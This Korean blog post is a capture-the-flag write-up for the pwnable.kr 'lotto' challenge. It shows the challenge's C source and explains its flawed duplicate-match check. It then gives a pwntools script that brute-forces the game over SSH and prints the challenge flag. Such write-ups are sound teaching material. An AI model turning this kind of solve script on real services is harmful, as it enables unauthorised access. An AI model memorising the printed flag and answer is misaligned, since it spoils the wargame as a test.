일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- BOF
- stack overflow
- PWN
- hacking
- OS
- LOB
- Pwnable.kr
- Spring
- 웹해킹
- 워게임
- 운영체제
- webhacking
- webhacking.kr
- Payload
- 네트워크
- Spring Framework
- System
- system hacking
- Buffer Overflow
- 정보보안기사 실기
- Shell code
- 정보보안기사
- 정보처리기사 실기
- pwnable
- wargame
- SQL
- 해킹
- Operating System
- Lord of BOF
- Spring MVC
- Today
- Total
DongDD's IT
[pwnable.kr] lotto 본문
[pwnable.kr] lotto
Problem
lotto에 관련된 프로그램을 숙제로 만들었는데 play해보겠냐고 묻고 있는 문제였다.
이번 문제에는 ssh로 접속할 수 있는 server가 존재했다.
먼저 ssh를 통해 접속해보았다.
접속해보니 flag 파일과 lotto 실행 파일, lotto.c 소스 코드 파일이 있었다.
먼저 소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned char submit[6]; void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); } } int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0; } | cs |
먼저 main에서는 int를 입력 받아 1은 play()함수 실행, 2는 help() 함수 실행, 3은 종료로 설정되어있었다.
소스 코드가 너무 길어 출력만 해주는 help() 함수는 제거했다.
play() 함수에서는 먼저 read()를 통해 6byte만큼의 unsigned char를 입력받는다. 그 후에 linux에서 제공하는 random 값 생성을 위해 /dev/urandom을 open해 6개 값을 읽어온다.
읽어온 숫자를 1~45 사이의 값으로 만들기 위해 for문을 거친다.
그 후 for문을 돌며 match가 6이 되면 flag를 cat해주는 system() 함수가 실행된다.
Solution
소스 코드를 읽다보니 비교문에서 이상하다는 점을 느낄 수 있었다.
1 2 3 4 5 6 7 | for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } | cs |
비교하는 부분에서 1개의 값을 6개와 모두 비교하는 것 까지는 맞지만 일치하더라도 따로 처리하지 않아 입력한 6개가 모두 같은 값이고 1개와 일치하게 되면 match 값이 6이 되어 해결할 수 있을 것 같았다.
그리고 이 문제에서는 int가 아닌 unsigned char로 입력을 받기 때문에 ascii code에서 1~45에 속하는 char 값을 넣어줘야 한다.
urandom에서 생성하는 값은 난수라 파악하기 힘들지만, 45개 중에 6개를 선택하는데 입력한 값이 1개와 일치하게 되면 flag를 볼 수 있기 때문에 계속 시도해보니 flag를 획득할 수 있었다.
************** Answer & Flag **************
직접 실행
Python SSH Code(pwntool)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * import time s = ssh(user="lotto", host="pwnable.kr", port=2222, password="guest") p = s.process(executable="/home/lotto/lotto") chk = 0 print p.recv() while True: p.sendline("1") print p.recv() p.sendline("++++++") time.sleep(0.2) a = p.recv() print a if "bad luck" not in a: break | cs |
lotto 번호를 입력하고 난 후 "bad luck"이라는 message가 나오게 되면 프로그램 실행을 끝내게 코드를 작성해보았다.
time.sleep()을 쓰지 않으면 간혹 flag가 출력되지 않는 경우가 있어서 sleep을 넣었다.
Flag : sorry mom... I FORGOT to check duplicate numbers... :(
'Wargame > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] cmd2 (0) | 2018.08.25 |
---|---|
[pwnable.kr] cmd1 (0) | 2018.07.21 |
[pwnable.kr] blackjack (0) | 2018.06.28 |
[pwnable.kr] coin1 (0) | 2018.06.26 |
[pwnable.kr] shellshock (0) | 2018.06.18 |